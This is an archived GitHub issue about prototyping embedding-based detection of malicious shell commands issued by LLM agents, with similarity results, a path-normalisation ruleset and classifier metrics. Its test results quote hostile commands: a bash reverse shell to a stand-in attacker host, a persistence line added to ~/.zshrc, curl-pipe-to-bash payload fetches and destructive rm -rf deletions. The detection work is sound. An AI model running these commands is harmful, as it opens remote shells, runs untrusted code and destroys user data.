Skip to content
This repository was archived by the owner on Jun 5, 2025. It is now read-only.
This repository was archived by the owner on Jun 5, 2025. It is now read-only.

Command embedding #730

Description

@poppysec

Aim: Explore a basic prototype for creating a vector database of malicious shell commands to compare LLM system commands to.

  1. Create vector database file
  2. Selective normalisation for file paths, usernames, variables etc
  3. Create embeddings of normalised command
  4. Read Promptwright JSONL dataset, input embeddings to DB
  5. Use some similarity metric to compare an input to the entries in the DB
  6. Test with known malicious and known benign cases

To do:

  • Look into specialised embeddings models for dealing with code rather than generic text
  • Consider options for normalisation
  • Consider options for similarity metric use
  • How to deal with the malicious command being surrounded by benign commands

Activity

  1. self-assigned this
    on Jan 22, 2025
  2. poppysec commented on Jan 22, 2025

    @poppysec
    ContributorAuthor

    Embeddings models

    I tried out huggingface/CodeBERTa-small-v1 but the performance was quite poor. The false positive rate was high even for very high similarity scores.

    Salesforce/codet5-base is specifically pretrained for tasks involving code and commands, and has cross-language support. So far the performance is better.

    e.g. getting top 3 most similar (by cosine similarity) from the vector DB

    Some known malicious examples

    Results for bash -i >& /dev/tcp/attacker.com/4444 0>&1

    Description: Modifying a user's .zshrc file to persistently execute malicious code.
    Command: echo 'bash -i >& /dev/tcp/attacker.com/<PORT> <PORT>>&<PORT>' >> ~/.zshrc
    Similarity: 0.9167367815971375

    Description: Establishing a reverse shell using bash history manipulation.
    Command: echo 'bash -i >& /dev/tcp/attacker.com/<PORT> <PORT>>&<PORT>' >> ~/.bash_history
    Similarity: 0.9134513735771179

    Description: Malicious modification of hidden files to evade detection
    Command: echo 'bash -i >& /dev/tcp/attacker.com/<PORT> <PORT>>&<PORT>' >> ~/.Spotlight-V100
    Similarity: 0.9072197079658508

    Results for curl -fsSL http://malicious-url.com/beacon.sh | bash

    Description: Sudo misuse: Installing malicious software silently.
    Command: sudo curl -sL <URL> | bash
    Similarity: 0.9223264455795288

    Description: Malicious shell command to download and execute a payload from an onion service using Tor.
    Command: curl -s --url '<URL>' | bash
    Similarity: 0.8874844312667847

    Description: Hidden process: Executing malicious payload directly in memory using bash.
    Command: /bin/bash -c "curl -fsSL <URL> | bash"
    Similarity: 0.8489115238189697

    Results for rm -rf ~/Documents/*

    Description: Malicious removal of files using rm command
    Command: rm -rf ~/Documents/*
    Similarity: 1.0000001192092896

    Description: Executing destructive operations by deleting sensitive directories
    Command: rm -rf ~/Documents/ImportantFiles/*
    Similarity: 0.8761441707611084

    Description: Deleting files in /Users/ using sudo without timestamp.
    Command: sudo rm -rf /Users/*
    Similarity: 0.8414553999900818

    Known benign examples

    Results for cd ~/Documents

    Description: Deleting files recursively using rm
    Command: rm -rf /Users
    Similarity: 0.6979251503944397

    Description: Malicious removal of files using rm command
    Command: rm -rf ~/Documents/*
    Similarity: 0.6330024600028992

    Description: Sudo misuse: Executing unauthorized command using sudo.
    Command: sudo rm -rf /important/data
    Similarity: 0.6205794811248779

    Results for mkdir Projects

    Description: Deleting files recursively using rm
    Command: rm -rf /Users
    Similarity: 0.6372671127319336

    Description: Escalating privileges using sudo su
    Command: sudo su
    Similarity: 0.5862594842910767

    Results for brew update

    Description: Enumerate all user IDs using 'getent' command.
    Command: getent passwd
    Similarity: 0.6533409953117371

    Description: Sudo misuse: Escalating privileges by executing an arbitrary command
    Command: sudo -i
    Similarity: 0.6374186873435974

    Description: Escalating privileges using sudo -i to gain root access
    Command: sudo -i
    Similarity: 0.6374186873435974

    We would need a high similarity threshold such as 0.85 or 0.9

  3. poppysec commented on Jan 28, 2025

    @poppysec
    ContributorAuthor

    Command normalising

    Working on top of Nigel's classifier work here - command_models.ipynb, I've added another notebook with a command normaliser class - command_models_norm.ipynb

    I also expanded the "rule set" for critical file paths and extensions to preserve throughout normalisation - critical file paths to preserve for macOS, Linux, and Windows:

    {
        "macOS": {
            "critical_paths": [
                "/Library/LaunchDaemons",
                "/System/Library/LaunchDaemons",
                "/Library/LaunchAgents",
                "/System/Library/LaunchAgents",
                "/Users/<USER>/Library/LaunchAgents",
                "/etc",
                "/etc/cron.d/",
                "/etc/cron.daily/",
                "/etc/cron.hourly/",
                "/etc/cron.monthly/",
                "/etc/cron.weekly/",
                "/etc/rc.common",
                "/etc/rc.local",
                "/var/log",
                "/usr/local/bin",
                "/usr/local/sbin",
                "/usr/bin",
                "/usr/sbin",
                "/Library/Extensions",
                "/System/Library/Extensions",
                "/System/Library/StartupItems",
                "/Library/StartupItems",
                "/Applications",
                "/Library/Application Support",
                "/Users/<USER>/Library/Application Support",
                "/Users/<USER>/Library/Preferences/com.apple.loginitems.plist",
                "/Users/<USER>/Library/Application Scripts/",
                "/Users/<USER>/Library/Saved Application State/",
                "/Users/<USER>/Library/Preferences/com.apple.loginwindow.plist",
                "/Users/<USER>/Library/Mobile Documents/",
                "/Library/Preferences/SystemConfiguration/",
                "/private/etc/sudoers",
                "/private/etc/hosts",
                "/private/var/tmp/",
                "/private/tmp/",
                "/var/folders/",
                "/Library/Caches/",
                "/Users/<USER>/Library/Caches/",
                "/Users/<USER>/Library/Scripts/",
                "/Users/<USER>/Desktop/",
                "/Users/<USER>/Downloads/",
                "/Users/<USER>/Documents/",
                "/Users/<USER>/Library/Safari/",
                "/Users/<USER>/Library/Application Support/Google/Chrome/Default/",
                "/Users/<USER>/Library/Application Support/Firefox/Profiles/",
                "/Users/<USER>/Library/Cookies/",
                "/Users/<USER>/Library/Containers/com.apple.Virtualization/",
                "/Users/<USER>/Library/Containers/",
                "/Library/Preferences/com.apple.networkextension.plist",
                "/private/var/log/diagnosticd.log"
            ],
            "file_patterns": [
                "\\.plist$",
                "\\.sh$",
                "\\.bash$",
                "\\.bashrc$",
                "\\.bash_profile$",
                "\\.zsh$",
                "\\.zshrc$",
                "\\.zsh_profile$",
                "\\.conf$",
                "\\.log$",
                "\\.py$",
                "\\.exe$",
                "\\.dll$",
                "\\.dylib$",
                "\\.so$",
                "\\.pem$",
                "\\.key$",
                "\\.crt$",
                "\\.txt$",
                "\\.json$",
                "\\.xml$",
                "\\.zip$",
                "\\.tar$",
                "\\.gz$",
                "\\.tgz$",
                "\\.tar\\.gz$",
                "\\.kext$",
                "\\.app$",
                "\\.pkg$",
                "\\.mobileconfig$",
                "\\.db$",
                "\\.sqlite$"
            ]
        },
        "Linux": {
            "critical_paths": [
                "/etc/",
                "/var/log/",
                "/usr/bin/",
                "/usr/sbin/",
                "/usr/local/bin/",
                "/usr/local/sbin/",
                "/tmp/",
                "/var/tmp/",
                "/home/<USER>/",
                "/root/",
                "/lib/",
                "/lib64/",
                "/opt/",
                "/proc/",
                "/sys/",
                "/run/",
                "/boot/",
                "/dev/",
                "/mnt/",
                "/media/"
            ],
            "file_patterns": [
                "\\.sh$",
                "\\.bash$",
                "\\.bashrc$",
                "\\.bash_profile$",
                "\\.zshrc$",
                "\\.zsh_profile$",
                "\\.conf$",
                "\\.log$",
                "\\.py$",
                "\\.so$",
                "\\.pem$",
                "\\.key$",
                "\\.crt$",
                "\\.txt$",
                "\\.json$",
                "\\.xml$",
                "\\.gz$",
                "\\.tar$",
                "\\.tgz$",
                "\\.tar\\.gz$",
                "\\.db$",
                "\\.sqlite$",
                "\\.service$",
                "\\.timer$",
                "\\.socket$"
            ]
        },
        "Windows": {
            "critical_paths": [
                "C:\\Windows\\System32\\",
                "C:\\Windows\\SysWOW64\\",
                "C:\\Program Files\\",
                "C:\\Program Files (x86)\\",
                "C:\\ProgramData\\",
                "C:\\Users\\<USER>\\AppData\\Local\\",
                "C:\\Users\\<USER>\\AppData\\Roaming\\",
                "C:\\Users\\<USER>\\Documents\\",
                "C:\\Users\\<USER>\\Downloads\\",
                "C:\\Users\\<USER>\\Desktop\\",
                "C:\\Users\\<USER>\\Pictures\\",
                "C:\\Users\\<USER>\\Videos\\",
                "C:\\Users\\<USER>\\Music\\",
                "C:\\Users\\<USER>\\Favorites\\",
                "C:\\Users\\<USER>\\Contacts\\",
                "C:\\Users\\<USER>\\Links\\",
                "C:\\Users\\<USER>\\Searches\\",
                "C:\\Users\\<USER>\\Saved Games\\",
                "C:\\Windows\\Temp\\",
                "C:\\Users\\<USER>\\AppData\\Local\\Temp\\",
                "C:\\Windows\\System32\\drivers\\",
                "C:\\Windows\\System32\\Tasks\\",
                "C:\\Windows\\System32\\config\\",
                "C:\\Windows\\System32\\LogFiles\\",
                "C:\\Windows\\System32\\spool\\",
                "C:\\Windows\\System32\\winevt\\Logs\\"
            ],
            "file_patterns": [
                "\\.exe$",
                "\\.dll$",
                "\\.bat$",
                "\\.cmd$",
                "\\.ps1$",
                "\\.vbs$",
                "\\.js$",
                "\\.log$",
                "\\.txt$",
                "\\.ini$",
                "\\.conf$",
                "\\.xml$",
                "\\.json$",
                "\\.reg$",
                "\\.msi$",
                "\\.cab$",
                "\\.zip$",
                "\\.rar$",
                "\\.7z$",
                "\\.pem$",
                "\\.key$",
                "\\.crt$",
                "\\.pfx$",
                "\\.db$",
                "\\.sqlite$",
                "\\.lnk$",
                "\\.tmp$",
                "\\.sys$"
            ]
        },
        "ip_pattern": "\\b\\d{1,3}(\\.\\d{1,3}){3}\\b",
        "user_home_pattern": {
            "macOS": "/Users/\\w+",
            "Linux": "/home/\\w+",
            "Windows": "C:\\\\Users\\\\\\w+"
        },
        "port_pattern": "\\b\\d{2,5}\\b",
        "url_pattern": "https?://[\\w.-]+(/[\\w.-]*)*"
    }

    Applying normalisation before embedding and classifying

    {'all-MiniLM-L6-v2': {'true_positive': 20, 'false_positive': 3, 'true_negative': 14, 'false_negative': 13}, 'all-MiniLM-L6-v2-norm': {'true_positive': 21, 'false_positive': 3, 'true_negative': 14, 'false_negative': 12}, 'hybrid-all-MiniLM-L6-v2-norm-True': {'true_positive': 23, 'false_positive': 3, 'true_negative': 14, 'false_negative': 10}, 'hybrid-all-MiniLM-L6-v2-norm-False': {'true_positive': 25, 'false_positive': 3, 'true_negative': 14, 'false_negative': 8}}

    Image
    HybridClassifier (neural network) has higher sensitivity without normalising.
    Need to try out with a bigger dataset of commands.

  4. poppysec commented on Feb 4, 2025

    @poppysec
    ContributorAuthor

    Image

    Image

    Image

    Image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions